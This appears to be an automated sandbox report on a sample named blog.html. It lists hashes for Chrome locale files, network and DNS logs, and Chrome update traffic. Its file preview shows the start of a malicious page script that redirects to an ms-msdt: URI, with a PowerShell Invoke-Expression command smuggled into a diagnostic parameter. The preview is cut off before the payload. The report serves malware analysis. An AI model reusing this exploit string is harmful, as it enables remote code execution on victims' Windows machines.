                                                                    SSDEEP:12:1HEJFhVbGGFhVb+WYpU34wDoz+dgGedBO8ZpU34wF03OyZnLAOfTYGYID:1HENQKkWYp2Doy/em8Zp2WOGAOfRYID
                                                                    MD5:C5CE2C51391EAFD3DA9E4C71549A3C28
                                                                    SHA1:1F67FF6EF6E90C0CE3AAF56ED543A3EFD381574D
                                                                    SHA-256:1FA1DF2CA8516DEF490FB8484E9AA498ACFF80EEF5C9258FFE42D3678E6C7DED
                                                                    SHA-512:C85F6281E682F52BC2147DEA7E2F3BB4DC48D98BADA8687B05C6C7271C78EA7F5431CD51671A4184C9AE004FC53C016E3C594697F483195CCBA08A93821EEF70
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Chrome interneta veikala maks.jumu sist.ma".. },.. "app_name": {.. "message": "Chrome interneta veikala maks.jumu sist.ma".. },.. "craw_app_unavailable": {.. "message": "Lietotne pagaid.m nav pieejama.".. },.. "craw_connect_to_network": {.. "message": "L.dzu, izveidojiet savienojumu ar t.klu.".. },.. "iap_unavailable": {.. "message": "Maks.jumi lietotn.s pa.laik nav pieejami.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "L.dzu, pierakstieties p.rl.k. Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):624
                                                                    Entropy (8bit):4.555032032637389
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJhiOGGhiO+WYpU34OHSN+dgFjdGFZO8ZpU34JgdN03OyZnLAOfTYiD:1HEDiHIitWYpCYJ8ZpD1OGAOfRD
                                                                    MD5:93C459A23BC6953FF744C35920CD2AF9
                                                                    SHA1:162F884972103A08ADB616A7EB3598431A2924C5
                                                                    SHA-256:2CD700AEB57D89C2E73333D0702556EE3FF3863516170F85669BC680FCBDC4E0
                                                                    SHA-512:F76E6E8D8499306883C3EC1E774F7E8BB6B601096DA5A14D17D3E7D5732829542041E42B7350466589291ADCC83FB065FD591B4E20CFCF8EDC586E128ECBFCB5
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Chrome Nettmarked-betalinger".. },.. "app_name": {.. "message": "Chrome Nettmarked-betalinger".. },.. "craw_app_unavailable": {.. "message": "Appen er utilgjengelig for .yeblikket.".. },.. "craw_connect_to_network": {.. "message": "Du m. koble til et nettverk.".. },.. "iap_unavailable": {.. "message": "Betaling i app er ikke tilgjengelig for .yeblikket.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Du m. logge p. Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):615
                                                                    Entropy (8bit):4.4715318546237315
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJJQGkbGGJQGkb+WYpU34OQKJT+dgiXUmvFZO8ZpU34g7JT03OyZnLAOfTYMD:1HErxkaqxk6WYptndXI8ZpTOGAOfbD
                                                                    MD5:7A8F9D0249C680F64DEC7650A432BD57
                                                                    SHA1:53477198AEE389F6580921B4876719B400A23CA1
                                                                    SHA-256:92BE7C2DC9CFBE5A65E9CE6488D364C8D7EC19E7B67A31E4D43C1CB2B169671C
                                                                    SHA-512:969AB979546A741C0F3EDBEEB21BABA375FA8870D4FB9248CDD4C305736E332E10CAB7B64C5C078E60EC0CD73848101B390BE8F44B89C310058AF4C1CA3C8AA7
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Betalingen via Chrome Web Store".. },.. "app_name": {.. "message": "Betalingen via Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "App momenteel niet beschikbaar.".. },.. "craw_connect_to_network": {.. "message": "Maak verbinding met een netwerk.".. },.. "iap_unavailable": {.. "message": "In-app-betalingen is momenteel niet beschikbaar.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Log in bij Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):636
                                                                    Entropy (8bit):4.646901997539488
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJbiVbGGbiVb+WYpU34OBHlBi9+dgQUg6O8ZpU34bdbfiIu03OyZnLAOfTYR5k:1HE5iVauiV6WYpIAYr8ZpxFiaOGAOfIC
                                                                    MD5:0E6194126AFCCD1E3098D276A7400175
                                                                    SHA1:E8127B905A640B1C46362FA6E1127BE172F4A40F
                                                                    SHA-256:E2699F98C511B18A2AFB82EAE9A4804B646C4FF1077D80E77C17A3943A6373C2
                                                                    SHA-512:A71F7C7BFBBF1E37E699601AF2E095C56CBA91F90CB7556477DF31D01B83ADFB1271E1775C9BA299FF6875BBFC2B6AB47488CC88E33DEF2F6F2E0E5AC687B777
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "P.atno.ci w sklepie Chrome Web Store".. },.. "app_name": {.. "message": "P.atno.ci w sklepie Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Aplikacja jest obecnie niedost.pna.".. },.. "craw_connect_to_network": {.. "message": "Po..cz si. z sieci..".. },.. "iap_unavailable": {.. "message": "P.atno.ci w ramach aplikacji s. teraz niedost.pne.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Zaloguj si. w Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):636
                                                                    Entropy (8bit):4.515158874306633
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJsc/bGGsc/b+WYpU34OLw+dgn/KzO8ZpU34FjIBMwGRO03OyZnLAOfTYN+KcY:1HEb/a8/6WYp4mZ8Zp7cKlOGAOf2tD
                                                                    MD5:86A2B91FA18B867209024C522ED665D5
                                                                    SHA1:63DEC245637818C76655E01FCB6D59784BC7184E
                                                                    SHA-256:6374880FDD1F8AF1EE8AEA6A06B73BE0AB265AFCEB4FE6F08BDE3B3989264B21
                                                                    SHA-512:DA6DBDE5028756421C2904F605632EE98831A25A1247E6238A931629B94CE8A00FD76F4235F118D2167304BD60F2C06B2AD78E54FF6CE53F8C38DF8C7B5AFCE4
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Pagamentos da Chrome Web Store".. },.. "app_name": {.. "message": "Pagamentos da Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Aplicativo indispon.vel no momento.".. },.. "craw_connect_to_network": {.. "message": "Conecte-se a uma rede.".. },.. "iap_unavailable": {.. "message": "No momento, os Pagamentos no aplicativo n.o est.o dispon.veis.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Fa.a login no Google Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):622
                                                                    Entropy (8bit):4.526171498622949
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJsZUkbGGsZUkb+WYpU34OAE+dgqxKzO8ZpU34rEpBfvPO03OyZnLAOfTYLD:1HEmUka5Uk6WYpFvdxZ8ZpSTnPlOGAOS
                                                                    MD5:750A4800EDB93FBE56495963F9FB3B94
                                                                    SHA1:8BFB915488A4EB3CB33D68E2E59F1F8447DB7D61
                                                                    SHA-256:C1C94F65FABAF17DEF98A8587711A56D61B1E5607500E9B01F2824DB109F9E83
                                                                    SHA-512:2AEDEF5793406221BE76AF22031CE8C30AB5FAEAED09BB394C153E2EBE990C89C1A2A73B40D8A92842641AFCA8C77FFD808A2058602D3646FD8DAE2844406F24
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Pagamentos via Chrome Web Store".. },.. "app_name": {.. "message": "Pagamentos via Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Aplica..o atualmente indispon.vel.".. },.. "craw_connect_to_network": {.. "message": "Ligue-se a uma rede.".. },.. "iap_unavailable": {.. "message": "Os Pagamentos na app est.o atualmente indispon.veis.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Inicie sess.o no Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):641
                                                                    Entropy (8bit):4.61125938671415
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJqJrJZGGqJrJZ+WYpU344HIx2Z+dgrVPlZO8ZpU34qT7hI3O03OyZnLAOfTYU:1HEC4D8WYpKow8WV68ZpKhoOGAOfoVGD
                                                                    MD5:98D43E4B1054A65DF3FA3CC40AB6FB6D
                                                                    SHA1:46E0A21C4DA2BB5D4D8F837AE211C1B6FA26E7E2
                                                                    SHA-256:113A13900CBA62FE8AED06751971C23A80A99B47F9BE219CF884D57DB19611D9
                                                                    SHA-512:A76DC53912A4F46714926B9EA2B22E909540E447F61F6DD72607AB7B3BB5D4A9B39E525B04C33AEC53BA813D14AC1FB5827275B2524E52B693E83171E1CD1466
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Pl..i prin Magazinul web Chrome".. },.. "app_name": {.. "message": "Pl..i prin Magazinul web Chrome".. },.. "craw_app_unavailable": {.. "message": ".n prezent, aplica.ia nu este disponibil..".. },.. "craw_connect_to_network": {.. "message": "Conecteaz.-te la o re.ea.".. },.. "iap_unavailable": {.. "message": "Pl..ile .n aplica.ie nu sunt disponibile momentan.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Conecteaz.-te la Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):744
                                                                    Entropy (8bit):4.918620852166656
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJ7OJHZMSl3ZGG7OJHZMSl3Z+WYpU34zWJ2F+dgVtLSv/TO8ZpU347NWjT03On:1HElOJHZMq4uOJHZMq8WYpdWJ/YGHq8m
                                                                    MD5:DB2EDF1465946C06BD95C71A1E13AE64
                                                                    SHA1:FB4F3ECE9ECECEBBC6CA2A592A15FB9C1FDFB811
                                                                    SHA-256:FBAF22CE6E16DE174CED8CB5EA3098CCA1C3426A2111FF33BD3E64DA64ED67AB
                                                                    SHA-512:4E0CF00BAEF1757548DEB17BBE1AF55770A0A0F7351779EF55C7DEFA6D112D0227B8865C2C22E0EC62E6E2F1C8E1632A2D0CE6828D25C5ABBF143C990116F632
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "......... ....... ........-........ Chrome".. },.. "app_name": {.. "message": "......... ....... ........-........ Chrome".. },.. "craw_app_unavailable": {.. "message": ".......... ...........".. },.. "craw_connect_to_network": {.. "message": "............ . .....".. },.. "iap_unavailable": {.. "message": "....... ..... .......... ...........".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "....... . Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):647
                                                                    Entropy (8bit):4.640777810668463
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJfZGGfZ+WYpU34ORO+dgmmCO8ZpU34yH7u2Z03OyZnLAOfTYCUAi0D:1HEl4G8WYpetPmD8ZpcH7aOGAOfzUeD
                                                                    MD5:8DF215D1EFBDABB175CCDD68ED8DCB0A
                                                                    SHA1:2B374462137A38589A73FDD00A84CBDC7E50F9F4
                                                                    SHA-256:7FA16AF97E6CFC52EC6008EB679D3F30E7E0C24F9EF2D18A9228EAF4DED9D63B
                                                                    SHA-512:C0E623343BDAEB4731800D183B59F2FCFE285F0C7153EC99641FD84F2F2DCFE47D21E73F3D28B1240340453C5668EB0AFFBE087AAB62F1C88CD2A40CC44E599D
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Platby Internetov.ho obchodu Chrome".. },.. "app_name": {.. "message": "Platby Internetov.ho obchodu Chrome".. },.. "craw_app_unavailable": {.. "message": "Aplik.cia moment.lne nie je dostupn..".. },.. "craw_connect_to_network": {.. "message": "Pripojte sa k sieti.".. },.. "iap_unavailable": {.. "message": "Platby v aplik.cii moment.lne nie s. k dispoz.cii.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Prihl.ste sa do prehliada.a Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):617
                                                                    Entropy (8bit):4.5101656584816885
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJGcyvmbZGGGcyvmbZ+WYpU34OBOEtf+dgca1ZO8ZpU34GcQArERff03OyZnLh:1HE4cyY4TcyY8WYpNoWa1w8ZpQcQ6AfK
                                                                    MD5:3943FA2A647AECEDFD685408B27139EE
                                                                    SHA1:0129DD19D28373359530B3B477FE8A9279DABB7D
                                                                    SHA-256:18AFF072EE0DF7C3495045435C752A805606E6D5D462EF2321C443F1773F4B3A
                                                                    SHA-512:42E62B3855611FF2E1D39C11404CB1A09825EE4CA6A8ACB3FF538B4574388F549E3BD79137DD4DC128A8DC44DD270D7D878E4AAD20DA8250A5C25297B0DEC09D
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Pla.ila v spletni trgovini Chrome".. },.. "app_name": {.. "message": "Pla.ila v spletni trgovini Chrome".. },.. "craw_app_unavailable": {.. "message": "Aplikacija trenutno ni na voljo.".. },.. "craw_connect_to_network": {.. "message": "Pove.ite se z omre.jem.".. },.. "iap_unavailable": {.. "message": "Pla.ila v aplikacijah trenutno niso na voljo.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Prijavite se v Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):743
                                                                    Entropy (8bit):4.913927107235852
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJssbdOGGssbdO+WYpU347xBP+dgcucO8ZpU34s1muP03OyZnLAOfTYzDYD:1HEKsb59sbTWYplx4Xud8Zpy1mNOGAOv
                                                                    MD5:D485DF17F085B6A37125694F85646FD0
                                                                    SHA1:24D51D8642CDC6EFD5D8D7A4430232D8CDE25108
                                                                    SHA-256:7FFDE34C58E7C376C042DE64DEF6481DAE32BE8B70F0B18EDF536290CBE0C818
                                                                    SHA-512:0DDECFD860E99290B6C3AAA04F510272AE081CF2D93ED5832D9D6378EC9D36177FFBE213471247FB94721EA34A83E7665669200047091D0FDE134E3D763217E7
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "....... . Chrome ...-..........".. },.. "app_name": {.. "message": "....... . Chrome ...-..........".. },.. "craw_app_unavailable": {.. "message": ".......... .. ........ ...........".. },.. "craw_connect_to_network": {.. "message": "........ .. .......".. },.. "iap_unavailable": {.. "message": "....... . .......... .. ........ ...........".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "......... .. . Chrome.".. }..}..
                                                                    File type:HTML document, ASCII text, with very long lines
                                                                    Entropy (8bit):5.111385686154214
                                                                    TrID:
                                                                    • HTML Application (8008/1) 100.00%
                                                                    File name:blog.html
                                                                    File size:4128
                                                                    MD5:fef2b6879c54b532ac0700113dd4173c
                                                                    SHA1:824bfa2bbfbe11c7810f1a857ecf1d7d64fe2743
                                                                    SHA256:9d16c6ba4ec1c23f9e35c05b6e17425fdc6cf4d5a3d5ea100129b24c21d68b7d
                                                                    SHA512:51b229b63c647067226aaff6f5809745221e74324bd7aefa2fb132424ea6c6891546b5af0910d2056ea52c7b38bed2693ffa8d67e9259df5ab901e18cdd6ddc5
                                                                    SSDEEP:96:QUPbDpefcSZ77di/W5P/3k8LWOUx40ym6NCe9sj:QUP/pXSheWJ/3k8HvHnNC3j
                                                                    TLSH:9C816EB5DF39B6D85D4E22000F6BA4CB1FE439173A0393E527AC0B583145F801E7519C
                                                                    File Content Preview:<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+
                                                                    Icon Hash:e8d6a08c8882c461
                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                    Jun 29, 2022 09:21:23.090996981 CEST49754443192.168.2.4142.250.185.109
                                                                    Jun 29, 2022 09:21:23.091053009 CEST44349754142.250.185.109192.168.2.4
                                                                    Jun 29, 2022 09:21:23.091140032 CEST49754443192.168.2.4142.250.185.109
                                                                    Jun 29, 2022 09:21:23.091717958 CEST49754443192.168.2.4142.250.185.109
                                                                    Jun 29, 2022 09:21:23.091742992 CEST44349754142.250.185.109192.168.2.4
                                                                    Jun 29, 2022 09:21:23.092892885 CEST49755443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:23.092951059 CEST44349755142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:23.093055010 CEST49755443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:23.093501091 CEST49755443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:23.093529940 CEST44349755142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:23.151305914 CEST44349754142.250.185.109192.168.2.4
                                                                    Jun 29, 2022 09:21:23.151681900 CEST49754443192.168.2.4142.250.185.109
                                                                    Jun 29, 2022 09:21:23.151711941 CEST44349754142.250.185.109192.168.2.4
                                                                    Jun 29, 2022 09:21:23.152776003 CEST44349754142.250.185.109192.168.2.4
                                                                    Jun 29, 2022 09:21:23.152872086 CEST49754443192.168.2.4142.250.185.109
                                                                    Jun 29, 2022 09:21:23.155946016 CEST44349755142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:23.164289951 CEST49755443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:23.164331913 CEST44349755142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:23.164802074 CEST44349755142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:23.164932013 CEST49755443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:23.165874004 CEST44349755142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:23.166002989 CEST49755443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:23.379518986 CEST49755443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:23.379709959 CEST44349755142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:23.379765987 CEST49754443192.168.2.4142.250.185.109
                                                                    Jun 29, 2022 09:21:23.380085945 CEST44349754142.250.185.109192.168.2.4
                                                                    Jun 29, 2022 09:21:23.389141083 CEST49755443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:23.389193058 CEST44349755142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:23.389257908 CEST49754443192.168.2.4142.250.185.109
                                                                    Jun 29, 2022 09:21:23.389271021 CEST44349754142.250.185.109192.168.2.4
                                                                    Jun 29, 2022 09:21:23.422209024 CEST44349755142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:23.422297955 CEST44349755142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:23.422322035 CEST49755443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:23.422357082 CEST49755443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:23.425610065 CEST49755443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:23.425642967 CEST44349755142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:23.445256948 CEST44349754142.250.185.109192.168.2.4
                                                                    Jun 29, 2022 09:21:23.445339918 CEST49754443192.168.2.4142.250.185.109
                                                                    Jun 29, 2022 09:21:23.445353031 CEST44349754142.250.185.109192.168.2.4
                                                                    Jun 29, 2022 09:21:23.445528984 CEST44349754142.250.185.109192.168.2.4
                                                                    Jun 29, 2022 09:21:23.445604086 CEST49754443192.168.2.4142.250.185.109
                                                                    Jun 29, 2022 09:21:23.466799974 CEST49754443192.168.2.4142.250.185.109
                                                                    Jun 29, 2022 09:21:23.466830015 CEST44349754142.250.185.109192.168.2.4
                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                    Jun 29, 2022 09:21:23.040153027 CEST6427753192.168.2.48.8.8.8
                                                                    Jun 29, 2022 09:21:23.041199923 CEST5607653192.168.2.48.8.8.8
                                                                    Jun 29, 2022 09:21:23.069133997 CEST53642778.8.8.8192.168.2.4
                                                                    Jun 29, 2022 09:21:23.069216967 CEST53560768.8.8.8192.168.2.4
                                                                    Jun 29, 2022 09:21:24.342080116 CEST64911443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:24.372750044 CEST44364911142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:24.373159885 CEST64911443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:24.403706074 CEST44364911142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:24.403759956 CEST44364911142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:24.403804064 CEST44364911142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:24.403846025 CEST44364911142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:24.404436111 CEST64911443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:24.405726910 CEST64911443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:24.454612970 CEST64911443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:24.464219093 CEST64911443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:24.490251064 CEST44364911142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:24.491552114 CEST64911443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:24.506164074 CEST44364911142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:24.519473076 CEST44364911142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:24.519520998 CEST44364911142.250.186.174192.168.2.4
                                                                    Jun 29, 2022 09:21:24.520199060 CEST64911443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:39.467509031 CEST64911443192.168.2.4142.250.186.174
                                                                    Jun 29, 2022 09:21:39.509994984 CEST44364911142.250.186.174192.168.2.4
                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                    Jun 29, 2022 09:21:23.040153027 CEST192.168.2.48.8.8.80xa9c6Standard query (0)accounts.google.comA (IP address)IN (0x0001)
                                                                    Jun 29, 2022 09:21:23.041199923 CEST192.168.2.48.8.8.80xb129Standard query (0)clients2.google.comA (IP address)IN (0x0001)
                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                    Jun 29, 2022 09:21:23.069133997 CEST8.8.8.8192.168.2.40xa9c6No error (0)accounts.google.com142.250.185.109A (IP address)IN (0x0001)
                                                                    Jun 29, 2022 09:21:23.069216967 CEST8.8.8.8192.168.2.40xb129No error (0)clients2.google.comclients.l.google.comCNAME (Canonical name)IN (0x0001)
                                                                    Jun 29, 2022 09:21:23.069216967 CEST8.8.8.8192.168.2.40xb129No error (0)clients.l.google.com142.250.186.174A (IP address)IN (0x0001)
                                                                    • clients2.google.com
                                                                    • accounts.google.com
                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                    0192.168.2.449755142.250.186.174443C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    TimestampkBytes transferredDirectionData
                                                                    2022-06-29 07:21:23 UTC0OUTGET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
                                                                    Host: clients2.google.com
                                                                    Connection: keep-alive
                                                                    X-Goog-Update-Interactivity: fg
                                                                    X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm
                                                                    X-Goog-Update-Updater: chromecrx-85.0.4183.121
                                                                    Sec-Fetch-Site: none
                                                                    Sec-Fetch-Mode: no-cors
                                                                    Sec-Fetch-Dest: empty
                                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
                                                                    Accept-Encoding: gzip, deflate, br
                                                                    Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
                                                                    2022-06-29 07:21:23 UTC1INHTTP/1.1 200 OK
                                                                    Content-Security-Policy: script-src 'report-sample' 'nonce-31Mrrp8mKyNMbKDvGiOFzw' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
                                                                    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                    Pragma: no-cache
                                                                    Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                    Date: Wed, 29 Jun 2022 07:21:23 GMT
                                                                    Content-Type: text/xml; charset=UTF-8
                                                                    X-Daynum: 5658
                                                                    X-Daystart: 1283
                                                                    X-Content-Type-Options: nosniff
                                                                    X-Frame-Options: SAMEORIGIN
                                                                    X-XSS-Protection: 1; mode=block
                                                                    Server: GSE
                                                                    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                    Accept-Ranges: none
                                                                    Vary: Accept-Encoding
                                                                    Connection: close
                                                                    Transfer-Encoding: chunked
                                                                    2022-06-29 07:21:23 UTC2INData Raw: 33 31 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 35 38 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 31 32 38 33 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 20
                                                                    Data Ascii: 319<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="5658" elapsed_seconds="1283"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
                                                                    2022-06-29 07:21:23 UTC2INData Raw: 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 70 70 20
